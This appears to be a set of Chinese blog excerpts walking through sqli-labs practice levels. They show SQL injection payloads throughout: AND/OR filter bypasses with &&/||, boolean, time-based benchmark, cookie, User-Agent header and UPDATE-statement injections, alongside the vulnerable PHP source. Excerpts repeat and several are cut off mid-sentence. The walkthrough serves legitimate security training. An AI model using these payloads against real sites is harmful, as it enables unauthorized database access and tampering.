这题的意思是,“你的AND和OR都是我们的了!”...就是,AND和OR全部都被过滤掉了。那么,该怎么办呢? 于是,查了查,发现SQL语句里面不仅可以用AND和OR,还可以用&&和||。就是 AND==&& OR==|| 那么,这样就简单了,直接构造 ?id=1'&&and1=1# 搞定~ 参考:高级SQL注入:混淆与绕过
这题的意思是,“你的AND和OR都是我们的了!”...就是,AND和OR全部都被过滤掉了。那么,该怎么办呢? 于是,查了查,发现SQL语句里面不仅可以用AND和OR,还可以用&&和||。就是 AND==&& OR==|| 那么,这样就简单了,直接构造 ?id=1'&&and1=1# 搞定~ 参考:高级SQL注入:混淆与绕过
这一题它在输入的时候过滤了几个字符 $reg = "/#/"; $reg1 = "/--/"; $replace = ""; $id = preg_replace($reg, $replace, $id); $id = preg_replace($reg1, $replace, $id); 所以,我们不能用#来注释掉剩下的查询语句。那么该怎么办呢?一个办法就是,让剩下的语句变得完整就行。 $sql="SELECT * FROM users WHE…
Less-20这题用Cookies注入。从源码可以看出,服务器将Cookies中的uname项没经过滤就放进查询语句中。 $cookee = $_COOKIE['uname']; ... $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"; 这样,我们就可以借助cookies的编辑工具来构造语句。我用的是Chrome下的EditThisCookies。 Less-21这题也是用cookies注入。但是,这一次的cookies…
这是Header 注入。意思是,从服务器要求的Header头里面找到可以注入的注入点。从源代码可以看出,服务器将Header里面的user-agent的值没有经过过滤就带入了insert into语句,这就造成了注入。 $uagent = $_SERVER['HTTP_USER_AGENT']; ... $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP…
因为是UPDATE语句,所以最好还是把剩下的WHERE username='admin'补上,不然可能所有人密码都变了。所以可以构造的语句是: uname=admin&passwd=211' WHERE username='admin' and 1=2#&submit=Submit 对应的SQL语句为 UPDATE users SET password = '211' WHERE username='admin' and 1=2#' WHERE username='admin'
Less-15这个注入使用的是布尔值注入: uname=admin&passwd=password' or 1=1#&submit=Submit SQL数据库在查询的时候,因为后面的or 1=1,所以无论前面的查询是否正确,都会返回一个正确的结果,这样就可以Iogged In。 Less-16同上: uname=admin&passwd=password") or 1=1#&submit=Submit
Less-11这个页面采用POST的方法得到数据。于是用HackBar修改post数据进行测试: uname=admin&passwd=password' and benchmark(10000000,sha(1))#&submit=Submit 测试发现,这个格式的注入使得服务器返回页面变慢,得知之后的benchmark语句得到执行。所以再构造类似于 uname=admin&passwd=password' and left(version(),1)=5 and benchmark(100…
Less-9尝试了很多次,各种组合,但是服务器返回的结果都是一样。尝试 ?id=10000000000 返回结果也是正确,因为不存在这么大的id,所以判断这个页面把正确和错误的信息全部返回一致。于是,使用基于时间的注入,构造以下语句: ?id=1'and benchmark(10000000,sha(1))# 让服务器处理几秒返回结果,找到正确的注入点。 Less-10又是一个基于时间的注入,尝试了下,注入点在这: ?id=1" and benchmark(10000000,sha(1))#
Less-5 ?id=1'and+1=2# Less-6 ?id=1"and+1=2# Less-7 ?id=1'))and 1=2# Less-8 ?id=1' and 1=2#
源码:未过滤,但变量id加了引号和括号。将变量id以字符串形式引入,和Less-1很像,但是却又多了个括号,猜测是防止注入语句。注入测试: ?id=12+and+1=1 显示正确 ?id=12+an 不完全语句也显示正确 猜测:括号将变量限制在括号范围内,尝试手动提前匹配括号注入。 ?id=12%27 成功报错:''12'') LIMIT 0,1' at line 1 ?id=1%27%29and+1=2%23 无显示,可注入 上面那条语句还原到SQL语句时,为: SELECT * FORM users WHERE…